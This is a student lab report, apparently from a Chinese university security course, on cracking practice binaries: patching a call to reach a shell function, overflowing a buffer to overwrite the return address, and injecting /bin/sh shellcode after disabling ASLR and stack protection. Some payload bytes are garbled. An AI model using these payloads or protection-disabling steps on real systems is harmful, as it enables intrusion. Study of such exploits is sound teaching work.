zoukankan      html  css  js  c++  java
  • 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 20165326

    实验一

    目录


    一、修改机器指令

    • 首先你需要一个pwn1文件,使用cp命令复制到当前目录下
    • 反汇编,objdump -d pwn1
    • 查看main函数,当前call调用的是foo函数,我们通过修改调用函数的地址使其指向getShell
    • 使用vi pwn1编辑当前文件,并使用:%!xxd将其ASCII码改为16进制显示
    • 使用/d7搜索并找到要修改的相应位置
    • 使用:%!xxd -r变回ASCII码,保存退出
    • 再次查看,修改成功
    • 执行当前pwn1,出现shell环境

    二、BOF攻击

    通过一段大于foo函数能存储长度的buffer造成缓冲区溢出,从而覆盖掉这个函数,直接执行shell函数

    • 通过代码分析缓冲区的字符串为32字节
    • gdb执行一下pwn2,r运行,输入一段40字节长度的数据
    • 发生段错误,分析后八字节是哪四字节溢出
    • 所以将输入的后字节改为xd7x84x04x08(shellcode的起始地址0x080484d7)
    • 输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input生成包含该字段的文件input(Perl -e:用于在命令行执行 Perl 命令)
    • 可以使用xxd input查看文件内容
    • 然后将input的输入,通过管道符|,作为pwn2的输入,覆盖返回地址:(cat input; cat) | ./input
    • 可以执行shell函数

    三、注入Shellcode

    shellcode在输入的时候被放入堆栈了,那么在堆栈里面就有机会把返回地址指向shellcode,实现攻击

    • 首先要设置堆栈可执行:
    execstack -s pwn3    //设置堆栈可执行
    execstack -q pwn3    //查询文件的堆栈是否可执行
    echo "0" > /proc/sys/kernel/randomize_va_space   //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space   //查询地址随机化是否关闭
    

    0代表关闭,2代表开启

    • 采用老师提供的shellcode,输入
    perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    
    • 将写好的代码通过管道方式输入给程序中的foo函数进行覆盖 (cat input_shellcode;cat) | ./pwn2
    • 打开另外一个终端,用gdb来调试pwn2这个进程,要找到程序的进程号ps -ef | grep pwn2
    • 启动gdb调试这个程序,然后attach进程号
    • disassemble foo反编译,设置断点在返回地址处b *0x080484ae,继续运行c
    • 命中以后查看esp,esp后4个字节就是我们要找的返回值
      0xffffd34c+0x00000004 = 0xffffd350
    • 修改shellcode,重新执行
    • 成功

    四、问题及解决

    Q: 在Terminal利用./pwn1执行pwn1会出现没有那个文件或目录的提示,但是ls命令又能看到存在pwn1文件.
    S: 64位的kali运行不了,装一个32位的库解决,也可以通过更新源解决,我输入了如下指令:apt-get install lib32z1

    五、思考感悟

    本次实验介绍了三种攻击方式,都是通过地址的修改来达到攻击目的,第二个实验要求的分析性更强一些,需要看出缓冲区buffer的长度来写出能覆盖至其返回地址后找到shellcode的的字符串。第三个任务是通过找到当前进程的esp,修改shellcode。w我觉得这次的实验思路还是挺简单的,巩固了之前的知识,拓宽了网络攻击的思路,很有意思。

  • 相关阅读:
    链接、装载与库
    mysql 调用外部程序
    SAMBA 共享服务器搭建
    Django 部署
    python基础教程1
    django 文件上传
    Django URLconf
    django view
    admin site
    django book
  • 原文地址:https://www.cnblogs.com/Czzzz/p/10526976.html
Copyright © 2011-2022 走看看